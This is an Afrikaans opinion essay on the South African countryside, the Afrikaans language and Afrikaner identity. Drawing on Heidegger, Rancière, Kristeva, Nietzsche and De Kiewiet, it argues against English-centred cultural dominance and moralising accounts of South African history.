Niks kan meer skokkend wees in die Franse sin van chocquant, as juis die oorgang vanaf, sê maar, Sandton City of die Rosebank Mall, na die Magaliesberg via daardie kronkelpad nie. ’n Mens sou dit ’n Proustiaanse verplasing kon noem, dog sonder om reg aan Proust te laat geskied aangesien syne nooit per motor plaagevind het nie, slegs per trein. Die Europese reisiger is gewoond daaraan om vir twee ure te ry en agterna hom in ’n ander land te bevind, met ’n ander taal, ’n ander mentaliteit, ander gewoontes, kookkuns, gebare, plekname wat moeilik is om uit te spreek. Anderkant die Hartebeespoortdam lê distrikte soos Elandskraal, Mooinooi, die dorpe Rustenburg en Brits, die “diep platteland” soos dit bekend was in die politieke joernalistiek van die ou Suid-Afrika. Dog, anders as op die Europese Vasteland, heg die welaf Engelse inwoners van noordelike Johannesburg nóg waarde aan die kultuur, die taal, die kookkuns, die geskiedenis van hul bure agter die berg, nóg toon hulle hoegenaamd enige belangstelling daarin. Op ’n manier is hulle soos Brittanje se Euroskeptici: hulle staan vyandig teenoor die nie-Engelse, hulle vrees hul komplekse gewoontes en gevoelighede, hulle verag hul gebrek aan Engelse gesonde verstand (“common sense”). ’n Mens kan nie anders as om ’n verband te sien tussen Me Metcalfe se veldtog vir die Engelse taal in skole en die stelling ’n rukkie terug van mnr John Major, toe nog leier van die Tories, dat “Engeland die baarmoeder van die Westerse beskawing” is nie. Vergeet van die Grieke, die Romeine, die Italianers, die Franse, die Duitsers, slegs Engeland het kaart en transport vir die Westerse erfenis.

Daar is tekens dat die platteland — daardie ironiese term vir dit wat onplat voor ons uitstrek — en sy kultuur wat veel meer omvat as bloot die Afrikaanse taal, voortaan aan ’n destruktiewe vorm van herkolonisering, afrikanisering, noem dit wat jy wil, onderwerp gaan word, iets wat na my mening verreikende implikasies het nie net vir die Suid-Afrikaanse kultuur as geheel nie, maar vir ons syn en wese in Suid-Afrika.

Heidegger in sy reaksie op die onafwendbare indringing van tegnologie binne die menslike bestaan het twee houdings geformuleer wat ons behoort in te neem en wat ons mag red as denkende wesens met ’n estetiese projek op aarde. Die eerste is “Gelassenheit zu den Dingen1, wat letterlik in Afrikaans vertaal kan word as “gelatenheid teenoor dinge”. Dit is ’n manier van beide ja en nee te sê teenoor die veranderinge, tegnologies en andersins, wat ’n uitwerking op ons het. Die tweede houding is “Öffenheit für das Geheimnis”, wat weer eens letterlik “oopheid teenoor die geheimenis” beteken. Beide hierdie opvattinge het betrekking op die menslike wese as ’n gewortelde entiteit, gewortel ook in sy geboorteland, sy “pays” soos die Franse sê. Heidegger haal die Duitse digter Johann Peter Hebel aan waar hy sê:

Ons is plante wat — of ons dit wel erken of nie — met ons wortels uit die aarde moet opgroei ten einde in die eter te bloei en vrugte te dra.

Die koloniale ervaring is ’n ontwortelde en ontwortelende, wat in die huidige konteks die estetiese armoede van koloniale kultuur verklaar. Die eindelose moralisme en stereotipering van wat veral in die buiteland bekend staan as “South African literature” val na my mening binne die kategorie van koloniale kultuur. Daarteenoor staan iets soos die onlangse werke van Karel Schoeman, veral die roman Hierdie Lewe 2, wat ’n hoë vlak van “Öffenheit für das Geheimnis” openbaar in die gevoelvolle beskrywings van die Karoo 3, die uitgestrektheid van die landskap en die ongenaakbaarheid van die karakters. Dit lyk asof hy iets vasvang van die tragedie van ’n Karoobestaan tydens die vorige eeu, en by uitbreiding, van die hele platteland. Historici het al dikwels aanmerkings gemaak oor die ekonomiese wankelrigheid van ’n plattelandse bestaan in Suid-Afrika, die gebrek aan standhoudende en voorspelbare reënval, wat tot die nomadisme van beide die Trekboere en swart stamme uit vorige eeue gelei het. Om dus die landskap te beskou is om in ’n sekere sin jou oë te laat gaan oor ’n Leidensgeschichte, die bitter geskiedenis van soveel pogings om te oorleef op meesal droë of brak grond.

Die geskiedenis van Engels in Suid-Afrika is, behalwe Natal, hoofsaaklik ’n stedelike verhaal, sonder woorde om die besonderhede van ons landskap met sy “koppies” en “rante” uit te druk, sy “klowe” en “skeure”, en geen plekname wat die wanhoop van “Putsonderwater” vervat, of die waterobsessies wat hul in soveel “-fonteine” en “-spruiteoor” die hele land herhaal. Die verhaal van die platteland is duidelik ’n Afrikaanse, en die paring van taal en landskap oor die eeue heen het ’n spesifiek plaaslike kultuur geproduseer, wat uiteindelik groot gewig behoort te hê binne die hutspot van ’n Suid-Afrikaanse kultuur. In die mate waartoe Afrikaners en Suid-Afrikaanse swartes tot die Engelse kultuur bydra, staan hulle in dieselfde verhouding tot Engeland as die Skotte, die Walliesers en die Iere: die grootsheid van Engelse of Britse kultuur, ten minste sover dit die letterkunde betref, is te wyte aan die pogings van kunstenaars en skrywers vanuit die geledere van die oorwonne volke wat poog om hul eie sin van waardeloosheid en minderwaardigheid te besweer deur die voortreflikheid van hul werke.

Die Engelse media, en veral die dommer-as-dom buitelandse media, stel die platteland voor as die ligging van wit fascisme, enersyds, en swart armoede, andersyds. Kultureel gesproke is dit ontdaan van enige belang. En tog, tensy ’n mens aan ’n laat vorm van sosiale realisme glo, kan alle fasette van menslike bestaan nie gepolitiseer word nie. As die monochroombril van sosio-politieke cliché afgehaal word, raak die platteland inderdaad kleurvol, welluidend met die stemme van ongekunstelde dog goedgeaarde mense.

Die fassinasie van die volk, le peuple, das Volk, the people, vir intellektuele is bespreek deur Jacques Rancière in sy boek Courts voyages au pays du peuple 4 — “Kort reise deur die land van die volk.” Volgens hom is die platteland baie nader aan ons as wat ons vermoed:

ces contreés toutes proches qui offrent au visiteur l’image d’un autre monde. De l’autre côté du détroit, un peu à l’écart du fleuve et de la grand-route, au bout de la ligne des transports urbains, vit un autre peuple, à moins que ce ne soit simplement le peuple. Le spectacle imprévu dúne autre humanité s’offre sous ses diverses figures: retour à l’origine, descente aux enfers, avènement de la terre promise. 5

[hierdie nabygeleë kontreie wat aan die besoeker ’n blik op ’n ander wêreld bied. Oorkant die détroit, ietwat verwyder van die rivier of die grootpad, aan die einde van die stedelike vervoerstelsel, leef ’n ander volk, ’n mens sou sover kon gaan om te sê: die volk. Die onverwagse skouspel van ’n ander mensdom bied hom in verskeie vorme aan: terugkeer na die oorsprong, hellevaart, koms van die beloofde land.]

Ten spyte van die kultuurapartheid van die nuwe Suid-Afrika wat die platteland wil amputeer ten behoewe van ’n stedelike Engelse en grotendeels ingevoerde Hollywoodkultuur, herken ons die volk as Afrikaans. Selfs die swartes hier praat Afrikaans. Eugène Marais se Waterberg, Breyten Breytenbach se Wellington of Bonnievale, dit alles is maar inkarnasies van hierdie l“and van die volk” binne Rancière se definisie. Dit is waar ons wortels heen strek, waaruit die digter sy inspirasie put of waar ons gewoon die modes en pretensie van die stad afskud en weglê aan ’n bredie en wyn wat in ’n blikbeker geskink kan word.

Die platteland en die volk wat dit bewoon, is egter veelduidig, soos ook uit die hierbo-aangehaalde gedeelte blyk: dit kan óf hellevaart óf beloofde land, of selfs iets anders wees. Trouens, die grond, die bodem is ideologies dubbelsinnig. Die grond is enersyds die lokus van identiteit en nasionalisme, selfs fascisme, maar terselfdertyd is dit die eindbestemming van rewolusionêre vooruitgang waar grondlose kleinboere of die proletariaat oplaas weer hervestig kan word sodat hulle die verlore Eden mag terugvind van waar hulle verjaag is deur die kapitalisme, kolonialisme en apartheid. In Duitsland is die Blut und Boden-slagspreuk uit die dertigerjare vervang deur die groen “terug-na-die-natuur”, twee oënskynlik teenoorgestelde bewegings.

In Suid-Afrika word die sin van die grond en by uitbreiding van die platteland verder gekompliseer deur die nomadiese tradisies van die verlede. Die afsku waarmee ’n sedentêre Engels-koloniale bewind die rustelose Trekboere bejeën het, is verwant aan die idee dat hulle besig was om weg te trek van die beskawing as sodanig, dat hulle as ’t ware op vlug geslaan het voor die beskawing self. Hierdie paradoks van Europese nomades word soos volg beskryf deur De Kiewiet in sy History of South Africa 6 waar hy met kenmerkende Engelse afkeur opmerk:

In the long quietude of the eighteenth century the Boer race was formed. In the vast, unmysterious, thirsty landscape of the interior lay the true centre of South African settlement. When the Trekboers entered it with their flocks and tented wagons, they left the current of European life and lost the economic habits of the nations from which they had sprung. Though they never became true nomads, the mark of nomadism was upon them, and their dominant traits were those of a restless and narrow existence. They had the nomad’s appetite for space and possessed the hardness and courage of men of the saddle who watch their flocks and hunt their meat. Their wealth was in their cattle and in their sons and grandsons, who were born numerously and who thrived amazingly. Their life gave them a tenacity of purpose, a power of silent endurance, and the keenest self-respect. But this isolation sank into obstinacy, their power of endurance into resistance to innovation, and their self-respect into suspicion of the foreigner and contempt for their inferiors. For want of formal education and sufficient pastors, they read their Bibles intensively, drawing from the Old Testament, which spoke the authentic language of their lives, a justification of themselves, of their beliefs and their habits. 7

Waarskynlik sou dié teks môre op CNN gelees kon word apropos van Afrikaners vandag, en niemand sou ’n wenkbrou daaroor lig nie. Hierdie beperkte siening van die Boer en die Afrikaner wat neffens die Europese beskawing leef of geleef het, geld nog steeds. Op ’n manier word die platteland of binneland nog altyd gesien as onaanloklik (“forbidding”). Die koloniale afsku vir die binneland en sy inwoners is magistraal beskryf deur Peter Blum in sy satiriese gedig “Rooinekke op Hermanus” wat in jukstaposisie met De Kiewiet se siening aangehaal kan word.

O gestilde
sinnebeeldvoëls, simboolvlerke, jul pryk
teen sononder, klaar met dool, enkel embleem
van hierdie seksie onwilde, ongewilde
vasgemeerde, aarde-agterhaalde ryks-
arende, pensioentrekkers op ou roem,
wat koel staan teenoor óns rumoer, kil-vreemd
— nie aanvoel wat óns bedoel, ín ons woel:
hartstog-verleerde, wrok-onbegrypende
sege-moeg, effens geaffronteerde
see-afkykers, agterland-afgekeerdes
wat hoegenaamd niks nie brandelik begeer. 8

Blum, ’n Duitser, skryf hier in sy aangenome taal, Afrikaans. Dit is miskien ironies dat hy moes doodgaan in ’n gestig in Engeland, tuiste van die rooinekke. In ’n sekere sin is hy ’n vreemdeling wat oor ander vreemdelinge skryf in ’n taal wat deur baie deesdae gesien word as synde ’n vreemde taal in die Engelse Suid-Afrika, iets wat jy net met onderskrifte kan verstaan. In die jargon van die nuwe Suid-Afrika sou Blum nie kwalifiseer vir die benaming “South African writer or poet” nie. Dit is ’n eienaardige verwikkeling aangesien die ryksarende van die gedig, wat hul pensioen trek op ou roem, skynbaar hulself op die oneerbiedige digter gewreek het. Hul gebrek aan hartstog, hul “kil-vreemdheid” het hulle kennelik goed te pas gekom; die digter het nou iets van ’n uitgestorwe spesie geword, nie die ryksarend nie. Maar tydens die gedig — vir ’n oomblik — vier ons die majesteit van daardie innerlike of binnelandse ruimte, daardie land wat Hermanus omring en waarvan die ryksarende as “agterland-afgekeerdes” hulself afgesluit het. Dit is ’n land, die land van die digkuns, waar elkeen en niemand ’n vreemdeling is nie.

De Kiewiet besef waarskynlik nie dat nomadisme en chauvinisme mekaar uitsluit nie, want die nomade bewerkstellig nie ’n verhouding met die grond wat stabiel genoeg is om as outochtoon gereken te word en dus ander as vreemdelinge te sien nie. Die Boere is “obstinaat” omdat hulle nie die Britse bewind wou aanvaar nie, en kultureel nie hulself wou verengels in ’n beskaafde Engelse Suid-Afrika nie. As historikus van die ryksarende bejeën hy hulle met al die chauvinistiese veragting waartoe die beskaafde man in staat is wanneer hy van aangesig tot aangesig met die barbaarse nomade verkeer. En ook: die proses van trek maak van die Boere vreemdelinge-in-wording wat die Westerse beskawing verlaat en sodoende verafrikaans in die mees radikale sin. Op ’n stadium gaan ’n mens die proses moet ondersoek waardeur die Engelse afkeer van Afrika en rassisme wat aanvanklik op barbare van alle rasse en kulture gefokus was, deur ’n Freudiaanse vorm van “oordrag” uitsluitlik tot Afrikanerhaat en veral onderdrukking van die Afrikaanse taal as ’t ware “gedistilleer” is. (Dit is ’n Freudiaans-Lacaniaanse projek-in-die-kleine wat heel prettig mag wees, aangesien “oordrag” ook een van die belangrikste onderliggende konsepte was by daardie resente Amerikaanse mode wat iets met “con” te make het soos in “decon …” en “déconner”, om nie van die “connards” te vergeet nie.)

Die beweging van mense op die grond, en selfs die wortelskiet van hul kultuur, hul taal en die naamgewing wat ontstaan uit hul interaksie en waarneming van die omgewing, die benoeming van bome en voëls en diere, dit alles vind binne menslike tyd plaas. Die landskap verander egter baie stadig, ongemerk binne geologiese tyd wat mensewesens beswaarlik kan voorstel. In ’n sekere sin is menslike kultuur dus vreemd aan die land, en selfs ons spesie is ’n immigrantespesie wat vandag hier mag wees en môre nie meer nie.

Na my mening is daar steeds ’n humanistiese en daarom antropomorfiese element aan Heidegger se begrip van kultuur as ’n vorm van organiese groei, waarna hierbo verwys is. Dit is waar dat kultuur moeilik kan bestaan sonder wortels: die déracinés binne Suid-Afrikaanse konteks woon slegs hier om die lekker inkopies, en hulle migreer maklik na waar die inkopies beter is (of miskien veiliger). Die plattelander, daarenteen, staar ’n bietjie soos Tityrus in Vergilius se eerste Herdersgedig 9 na die grootte van Rome wat oor Naboomspruit toring soos die statige sipres oor die beskeie vibernum, en besluit dat hy die eenvoudige, stoïsynse lewe verkies bo die inkopies te midde van die stadsrumoer. Dog soms het hy geen keuse nie, soos Meliboeus wat van sy grond afgesit is vanweë ’n gebrek aan politieke vriende in Rome. Uiteindelik speel die kans ’n rol daarin of ’n mens toegelaat sal word om aan te bly of gedwing sal word om te vertrek, of ’n mens jou wortels gaan behou of nie. Daar bestaan iets soos ’n taalkundige ekologie, en tale, soos spesies, is besig om uit te sterf. Anders as Darwin se idee van natuurlike seleksie, word die proses van uitsterwing grootliks gedryf deur toevallige gebeure, deur die kans. Die ekologie, taalkundig of andersins, is ’n stogastiese proses. Daar word gesê dat 99,9% van alles spesies wat ooit op aarde bestaan het, reeds uitgesterf het. Die taalkundige verskeidenheid van die platteland mag kwesbaar wees vir die funeste gevolge van ’n toevallige gebeurtenis, wat die vorm van ’n droogte mag aanneem, of die goudprys op $200, of ’n besluit in Rome.

Is ons almal vreemdelinge? Dit is waarskynlik die siening van Julia Kristeva waar sy sê:

Étrangement, l’étranger nous habite : il est la face cachée de notre identité, l’espace qui ruine notre demeure, le temps où s’abîme l’entente et la sympathie. De le reconnaître en nous, nous nous épargnons de le détester en lui-même. Symptôme qui rend précisément le <> problématique, peut-être impossible, l’étranger commence lorsque surgit la conscience de ma différence et s’achève lorsque nous nous reconnaissons tous étrangers, rebelles aux liens et aux communautés. 10

[Vreemd genoeg woon die vreemdeling binne-in ons: hy is die keersy van ons identiteit, die ruimte wat ons tuiste ruïneer, die tyd waarin wedersydse begrip en meegevoel afbreek. Deur dit binne-in ons te herken, vermy ons dit om dieselfde ding in hom te verag. ’n Simptoom wat juis die “ons” problematies maak, miskien selfs onmoontlik, die vreemdeling begin sodra die bewustheid van my andersheid na vore tree en word voltooi sodra ons onsself herken as synde almal vreemdelinge, rebelle teenoor bande en teenoor gemeenskappe.]

In terme hiervan word ’n mens ’n vreemdeling — “volksvreemd”! — sodra jy teen die gemeenskap rebelleer, of selfs bewus raak van jou eie individualisme. Die platteland is geen vreemdeling as dit by rebellie kom nie, gedagtig aan 1914 of Van Melle se Bart Nel 11, maar is miskien minder verdraagsaam teenoor anderse individue as die stad. Aan die ander kant, deur sy andersheid te behou teenoor die imperiale hinterland van nywerheid en handel, sy ekologie te handhaaf, brei die platteland miskien sy dade van rebellie uit. Kollektief is die platteland tot vreemdeling verklaar, wat miskien lig daarop werp waarom vreemdelinge nie so goed behandel word in sy midde nie.

’n Verwante probleem aan dié van vreemdeling-wees (of dié van setlaar en boorling) is dié van suiwerheid. Op verskillende tye sal verskeie “groepe” — ek gebruik doelbewus ’n gelade term uit die onlangse verlede — aanspraak daarop maak om waaragtig inheems te wees. Hulle was eerste daar, dis die land van húl voorvaders, hulle is die meerderheid, of die uitverkore minderheid, wat die geval ook al mag wees. Hierdie aanspraak is van dieselfde tipe as die aanspraak op rassesuiwerheid, want dit veronderstel ’n goddelike of regskape oorsprong. Dus het ons gevorder vanaf ’n ideologie van rassesuiwerheid tot nedersettingsuiwerheid. Die amptelike siening van die Afrikaanse taal het geëvolueer vanaf die siening onder die Britse bewind in die Kaap tydens die negentiende eeu dat dit die resultaat was van ras- en taalvermenging, wat toentertyd afkeurenswaardig was, na die huidige voorstelling van beide die ANC en die Engelstalige media van ’n wit Afrikanertaal wat gestigmatiseer is deur apartheid en gepaardgaande neigings tot rassesuiwerheid en eksklusiwiteit. Duidelik is geeneen van hierdie sienings korrek as dit gemeet word aan taalkundige of demografiese kriteria nie. Wat ons hier sien, is ’n soort omgekeerde diachroniese dialektiek waar die boosheid van gister figureer as die goeie van vandag, en andersom.

Ook die fassinasie met die ontstaan van Afrikaans as taal wat uiting gevind het in vele taalkundige teorieë sedert die negentiende eeu moet in hierdie lig gesien word. Tot vandag toe word die opvatting van Valkhoff gehuldig dat Afrikaans ’n soort Kreoolse taal is wat sy oorsprong had in die pidginisering van Nederlands deur die Koen-bevolking of Hottentotte. In die negentiende eeu is hierdie gemengde herkoms van Afrikaans gesien as bron van onsuiwerheid, as “kitchen Dutch”, ’n term wat die taalkundige verbastering moes benoem wat die taal nie waardig gemaak het om soos die Europese tale oor ’n Bybelvertaling te beskik nie. Watter ironie is dit nie dus dat Afrikaans vandag juis as rassuiwere witmanstaal voorgehou word nie, die dialek van die AWB en dergelike. Binne die kleinlike rastaalpolitiek van Suid-Afrika het Afrikaans daarom binne die bestek van ’n eeu gevorder van nie-blanke taal tot blanke taal, ongelukkig in omgekeerde orde van politieke korrektheid.

Binne ’n gesonde-verstandparadigma het kultuur, ekologie, musiek, kuns, letterkunde, al daardie elemente wat as buitensporig, of en trop soos die Franse sê, beskou kan word, geen plek nie. Daar is ’n besonder Engelse vorm van gesonde verstand (common sense) wat onhebbelik kan wees. Dit is van die soort wat alles in terme van sy nut sien, en nie in terme van sy waarde (wat in elk geval ’n funksie van die mark is) nie. Gesonde verstand beskou die platteland as ’n blote produksiefasiliteit vir die graanmark, en taal as ’n kode vir die uitruil van inligting tussen verbruikers. Alles kan uiteindelik gereduseer word tot sy nutswaarde, en as dit nie daaroor beskik nie, kan dit vernietig word of weggegooi word. So is dit ook met identiteit, die kleur van ’n individu nie in die rassesin nie, maar in die etniese sin, selfs die stamsin. Waarom mag ons nie ’n stam hê nie, al is dit ’n wit stam? Waarom mag ons nie na Schoenberg luister nie, selfs al bestaan daar geen mark vir sy musiek nie? Waarom mag ons nie begeer nie, al is ons begeertes nie rasioneel nie?

Die kritiek op gesonde verstand — teenoor die Kantiaanse sensus communis wat iets anders is — op naïewe realisme en op naïewe empirisme is weer eens grotendeels op die Europese Vasteland gevoer, en nie op die Britse Eilande nie. Kennelik kan dit gesien word as ’n oorvereenvoudiging van twee uiteenlopende filosofiese tradisies, maar binne die kulturele debat in ons land, veral die tweehonderdjaaroue botsing tussen Engels en Afrikaans, is hierdie digotomie tussen ’n kwasi-Angel-Saksiese en ’n kwasi-Vastelandse siening van kultuur herhaal. (Ek laat hier die sogenaamde Afrikanistiese kultuursiening buite rekening omdat dit meer onlangs na vore gekom het en na my mening nie besonder afwyk van sekere fundamenteel Westerse konsepte nie.) ’n Estetiese betrokkenheid met die taal of die landskap mag vanuit die gesonde verstand-siening met sy klem op operasionele kwessies en transnasionale kommunikasie, opvoedkundige opheffing, ens, gewoon “nasionalisties” of selfs fascisties voorkom. Dog die teenoorgestelde is waar wanneer so ’n betrokkenheid vanuit die veelheid van Vastelandse tradisies soos rasionalisme, dialektisisme, of die verskeie vorme van geradikaliseerde vorme van taalkundige strukturalisme en Nietzscheanisme wat ons in die ná-oorlogse Europa vind, beskou word. Deleuze, om maar een voorbeeld te noem, het inderdaad minderheidstaal teenoor dié van die meerderheid gepriviligeer. Hy siteer onder andere die reël van Proust, “Les beaux livres sont écrits dans une sorte de langue étrangère” — “mooi boeke word in ’n soort vreemde taal geskryf” 12. In dieselfde trant praat hy van “etnos, die minderheidagtige, die vluglyn binne die struktuur, die anti-historiese element binne die Geskiedenis”. 13 Afrikaans en alles wat daarmee saamhang, dit het ons ook met die Waarheidskommissie gesien, is toenemend die ongewenste, steurende etniese element wat die samehang van die imperiale Engel se geskiedenis beduiwel. In die sogenaamde nuwe Suid-Afrika word ons gesien as behorende tot ’n voor-geskiedenis, of liefs ’n geskiedenis wat vergeet behoort te word ter wille van die heersersverhaal van swart lyding en bevryding in Engels.

Britse gesonde verstand vrywaar ’n mens boonop nie van rassisme en fascisme, veral daardie besondere variëteit waarna ek vroeër verwys het deur gebruik van die ietwat oudmodiese term, “jingoïsme”, nie. By ’n onlangse konferensie aan die Oxford Universiteit met as titel “South Africa 1895-1921: test of Empire” is die vormingsjare van die huidige semi-nywerheidsland wat ons as Suid-Afrika ken, onder die loep geneem. Die mees onlangse navorsing oor die denke van Lord Milner wat die opvoedkundige beleid met die vorige eeuwending bepaal het en ’n versnelde vorm van verengelsing en taalverdrukking ingestel het in die naam van vooruitgang en ontwikkeling — daardie twee gesonde verstand-ideale — toon duidelik ’n byna boosaardige vorm van Angel-Saksiese heerssugtigheid waarbinne die idee van ’n “heersersras” nie afwesig is nie. Die intellektuele verwarring van ons huidige regering, verskeur tussen Afrikanistiese ideale en die sogenaamde ekonomiese werklikhede wat deur oligopolistiese, koloniale belange aan hom opgedring word, mag wel ’n mutante Milnerisme toelaat in die naam van Afrikabevryding, wat selfs, indien dit te ver gevoer word, kan eindig in een of ander chiliastiese, geradikaliseerde optrede, hetsy deur ’n Kulturele Rewolusie, hetsy umahaa of statsosialisme, of die herinstelling van konsentrasiekampe.

Ek is bewus daarvan dat ek hier sinspeel op sekere van die magtige simbole van wat bekend staan as “denke van regs” binne ons konteks. Dit gaan hier egter nie om opsweping nie, maar om besinning oor die situasie waarin Afrikaans hom tans bevind. Ek durf die moontlikheid van ’n ekstreme terugkeer na Anglosentriese “social engineering” en repressie noem, juis omdat die aktivistiese, moralistiese lesing van die geskiedenis wat onlangs in Suid-Afrika gewild geword het, so kommerwekkend is. Dit is ’n “geskiedenis van die armes” wat soek na ’n enkele oorsaak vir armoede en lyding. Merendeels word dit alles geassosieer met die konsep “apartheid” waarop ek nie nou wil ingaan nie. 14 In soverre as wat die Afrikaner en Afrikaans as ’t ware daarvoor verantwoordelik gehou word dat swart Suid-Afrikaners en by uitbreiding Afrikane suid van die ewenaar nie oor dieselfde vlak van opvoeding en ’n gelykstaande lewenstandaard as die burgers van Switserland beskik nie, het ons te make met die problematiek van die sondebok waarby kwessies soos taal en identiteit wel regstreeks betrokke is. Joodse spekulante is ook verantwoordelik gehou vir die Duitse hiperinflasie tydens die Weimar-republiek, en ons weet waarop dit uitgeloop het.

Voordat ek uitwei oor die opvatting van die sondebok, is dit nodig om te probeer verstaan wat ’n stereotipe of ’n karikatuur soos daar van die Afrikaner en sy politieke betrokkenheid in Suid-Afrika gemaak is, behels. Daar is geen “identiteit” wat so sterk is soos dié van die “dumb Dutchman” nie, daardie frase wat vanaf die Engelse skoolgronde in Suid-Afrika sy weg gevind het tot die voorblad van Time of die gesanik van Europese TV-nuusaanbieders. Veral tydens my verblyf in Frankryk het ek onder die indruk gekom dat ’n mens enigiets oor Suid-Afrika, Afrikaners, Afrikaans, ens, kan kwytraak sonder dat dit in die minste aan een of ander perk of kriterium onderworpe is. Ons is fasciste, mensvreters, moordenaars, barbare, ontaarde wit mense, en wat nog. Ek kan onthou dat die wildbewaarders wat olifante uitdun in die Kruger-wildtuin op televisie voorgehou is as irrasionele wreedaards wat doodmaak omdat dit in hul eie aard is as vermoedelik wit Afrikaners. Vir diegene wat nog gewonder het oor hul identiteit in Afrikaans, is daar reeds ’n klaargemaakte een, ’n “globale identiteit”, wat waarskynlik deur miljarde mense op hierdie planeet as buite bespreking geag word.

Nieteenstaande die besondere verhouding wat daar tussen Afrikaans en die landskap bestaan, en die geworteldheid waarvan daar hierbo melding gemaak is, is dit tans nodig om oor te gaan tot ’n radikale vorm van vergeetagtigheid. By my definisie van Afrikanerskap onlangs, as synde “iemand wat van melktert of koeksisters hou”, wil ek voeg: “iemand wat sterk genoeg is om sy identiteit te vergeet.” Veral ook sy “globale identiteit”.

Sommiges sal hierin ’n Nietzscheaanse definisie van Afrikanerskap sien, en met reg. Nietzsche voel hom as ’t ware ’n vreemdeling tussen die Duitsers, hoewel niemand waarskynlik beter die Duitse taal kon gebruik as juis hy nie. As veeltalige Europeër sien hy neer op die Duitsers en, verwysende na hul kleinlike nasionalisme, chauvinisme, anti-Semitisme, verwys hy na “diese kleinen Benebelungen des Deutschen Geistes und Gewissens” 15 [“die klein bedwelminge van die Duitse gees en die Duitse gewete”]. In sy skerp onafhanklike kyk na sy vaderland — ’n “viviseksie” noem hy dit — is daar vir ons ’n les. Het dit nie tyd geword dat ook ons die skimme van die verlede van ons afwerp en opnuut die vraag vra: wat is Afrikaans, wat beteken dit nie?

Nietzsche neem verder die Duitsers kwalik dat hulle oor “geen hede” beskik nie. Hoeveel te meer is dit nie op ons van toepassing nie! As daar een aspek is van die huidige Suid-Afrika wat uitstaan, is dit die gehamer op die — sy dit dan onlangse — verlede. Elkeen kan homself moreel regverdig en sy vyand as demoon verdoem deur sy visier in te stel op die regte jaartal, of dit nou 1899 of 1976 is. Die selektiewe onthou van die verlede is in ons maatskappy tot ’n kuns verhef, by gebrek aan kuns in die ware sin van die woord. Dit is nodig om ons teen dié dialektiek te verset, deur eenvoudig te vergeet, deur onskuld teen skuld te stel, beaming teen ontkenning, die amorele teen die morele, nie-identiteit teenoor identiteit.

Die intensiteit van die gevoel teen Afrikaans en Afrikaners is nie bloot te verklaar met verwysing na die buitelandse korrespondent wat sy propaganda die wêreld instuur waar dit klakkeloos deur die hordes as evangelie opgeneem word nie. Meer en meer kom dit voor asof anti-Afrikaansheid, of dan “Boerehaat” soos dit tradisioneel bekend staan, nie net vormlik nie maar ook konseptueel verwant is aan anti-Semitisme. Toevallig is Suid-Afrika en Israel tot onlangs in die internasionale media oor dieselfde kam geskeer, maar dit gaan veel dieper, want beide Jode en Afrikaners het ’n kollektiewe aartsonde gepleeg jeens die Weste. In die geval van Jode is dit sekerlik die moord op Christus, asook hul andersheid, hul eksklusiwiteit. Wat Afrikaners en hul voorgangers, die Boere, betref, is dit eerder hul vergeetagtigheid, die feit dat hulle vergeet het hoe om korrek en algemeen beskaaf Nederlands te praat, en in ’n sekere sin hul rug gekeer het op die Westerse beskawing soos wat De Kiewiet beweer. Vergun my weer eens ’n aanhaling uit my gunstelingboek oor die Boere, De Kiewiet se History of South Africa,

Men so widely scattered as they were lost the gregarious habit of their forefathers in Europe. They built few villages. On the great farms each man fled the tyranny of his neighbour’s smoke. It followed that their communal life was loosely organized. They came together when compelled by danger or crisis. In the face of the native population their sense of race and fellowship was exceedingly keen. But their co-operation was not continuous and sustained. The habits of their social life were like the discipline of their commados. It was the sum of individual willingness; at its best it was excellent, at its worst it destroyed the commando. 16

In ’n sekere sin was die Boer dus ’n “soewereine individu” wat staatloos gelewe het, en bloot die gemeenskap opgesoek het as daar sprake was van gevaar. Die beeld van nomades wat al verder verwyder raak van hul oorsprong in die volke van Europa is by uitstek die bydrae van De Kiewiet tot die SA geskiedskrywing, soos ons reeds gesien het. Op ’n baie meer banale vlak kry dit tot vandag toe en veral in die internasionale media uitdrukking in die opvatting dat Afrikaners ’n verworde wit “stam” is en, let wel, geen “volk” nie. Die vergeet van ’n Europese nasionale identiteit is een van die ernstigste aanklagte teen Afrikaners. Dit maak hul minder beskaafd, nader aan barbare, minder moreel.

Aan die ander kant staan die Afrikaner nogtans nader aan die Weste as die Afrikaan wat afkomstig is uit ’n soort Utopie wat nog nie bederf is deur die beskawing nie. In die negentiende eeu het hierdie idee berus in die Rousseauistiese opvatting van die “edele barbaar”; tans vind ons dit terug in die algemeen gangbare geloof dat die lewenstandaard en kwaliteit van lewe van Afrikane veel beter was voor die koms van Europeërs na Suid-Afrika. Trouens, die Groot Trek het die utopiese ruimte van die binneland soos dit gesien is vanuit die Britse sendelingparadigma, besoedel. Die Afrikaner bevind hom dus in ’n tussengebied tussen Europa en Afrika, en hy beskik nóg oor beskawing nóg oor die morele ongeskondenheid van die Afrikaan.

Die hele kwasi-Calvinistiese debat wat daar deesdae romdom “skuld” gevoer word, gaan ons nie eintlik aan nie. Die strik waarin sekere Afrikaanse skrywers trap om skuld of aandadigheid aan die sondige verlede te bely, hoe hulle ouers die woord “kaffer” in die huis gebruik het, die outas agter die kraalmuur met sambokke aangerand het, ens, bewys net weer hoe sterk die globale Afrikaneridentiteit is, dat dit ’n mens oproep tot belydenis, veral as ’n New Yorkse uitgewer sy tjekboek uithaal en sê: “Tell me how dumb ya are, Dutchman.” Glucksmann het reeds gewys op hierdie neiging by die Weste om geen morele skuld aan Afrikane toe te ken nie, en slegs aan die stiefkinders van die Weste, die Afrikaners, alhoewel sy gevolgtrekking dat die Westerling homself in die blanke Suid-Afrikaner weerspieël sien, nie vir my opgaan nie. 17 In die mensdom se obsessie met ras, wat sedert Cuvier en Darwin dateer, is daar voortdurend nuwe vorme van etniese denke en sondeboksoekery wat na vore kom. Teenoor die “eenvoudige” Europese rassisme van die verlede, vind ons nou die oordrag na kwesbare sosiale groepe van die rassekompleks via kulturele of ekonomiese diskriminasie. Niemand het nog ras as konsep afgesweer nie, allermins ons huidige heersers, maar die skuld of die merk van Kaïn het van een groep na ’n ander verskuif.

